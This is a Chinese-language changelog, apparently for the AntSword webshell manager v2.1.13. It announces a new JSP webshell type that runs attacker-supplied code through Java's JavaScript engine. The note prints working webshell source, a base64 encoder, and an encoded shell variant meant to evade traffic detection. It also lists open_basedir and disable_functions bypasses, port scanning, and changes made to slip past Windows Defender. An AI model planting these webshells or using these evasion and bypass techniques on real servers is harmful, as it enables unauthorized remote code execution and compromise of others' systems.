写在前面
给领导们汇报一下 v2.1.13 的更新情况,新增了一个新的JSP类型,更新了一波插件,修了一些Bug。
核心
基于 Java 内置的 JS 引擎来实现的 JSP 一句话类型, jdk >= 6
相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少
设计思路请参考 Mr6 的文章: 《一种新型Java一句话木马的实现 》(https://xz.aliyun.com/t/9715)
值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了
请耐心看完下面的 Note
目前该类型默认生成的 WebShell 如下:
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("ant"));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
从WebShell代码上就能看出来,在流量层上和 PHP 最基础的WebShell <?php eval($_POST['ant']);?> 一样具有明显特征,不建议直接使用, 请配合自定义编码器进行:
eg: b64pass 编码器
// b64pass 编码器
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
对应 WebShell 如下:
<%!
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(new String(base64Decode(request.getParameter("ant"))));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
请自行对照最基础的 WebShell 样例自由发挥,再多的就不需要我再说了吧 :)
❗️PHP/PHP4 类型增加 Bypass open_basedir (自动尝试)
利用的是 chdir('..'); 的方式, 仅会在目标配置了 open_basedir 时才会自动尝试。使用时无感知,如果是插件开发者,需要判断 open_basedir 的值是不是 / , 当然也会影响当前所在目录
该功能会影响v0.13之前版本 PHP Bypass DisableFunction 插件, 请及时更新插件
虚拟终端
虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)
终端执行命令路径分割符由固定的 [S][E] 改为随机字符串
别问, 要问就去问 Windows Defender
数据管理
开启代理情况下在数据管理状态栏会有提示
修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常
eg:
'use strict';
module.exports = (pwd, data) => {
data['test'] = 123; // 这里会引发异常
data[pwd] = data['_'];
delete data['_'];
return data;
}
插件相关
请及时更新相关插件
ExecuteScript 支持 JSPJS 类型
GenShell 支持 JSPJS 类型 Shell 生成
Bypass disable_function
修正 bypass open_basedir 场景下上传路径问题
.antproxy.php 上传至与 Webshell 同路径下
php -S 利用方式会在界面显示开启的临时端口
PortScan 支持 JSPJS 类型
Out-of-Network 支持 JSPJS 类型
写在最后
没了,有新版就快更新吧
不如关注一波再走?